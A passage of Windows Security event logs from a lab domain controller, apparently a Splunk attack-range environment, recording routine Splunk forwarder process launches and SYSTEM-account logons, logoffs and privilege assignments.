	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:09:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257110
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:09:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257111
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:09:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257112
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:09:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257114
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1194
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:09:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257113
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1124
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257117
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B06D0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257116
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B06D0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59394

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:09:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257115
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B06D0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:10:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257119
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:10:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257118
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:10:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257120
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:10:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257121
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x814
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:10:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257122
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1134
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:10:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257124
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:10:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257123
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe3c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:10:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257127
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B3C49

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:10:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257126
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4B3C49
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59407

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:10:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257125
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4B3C49

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:11:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257128
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:11:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257129
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:11:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257130
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x324
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

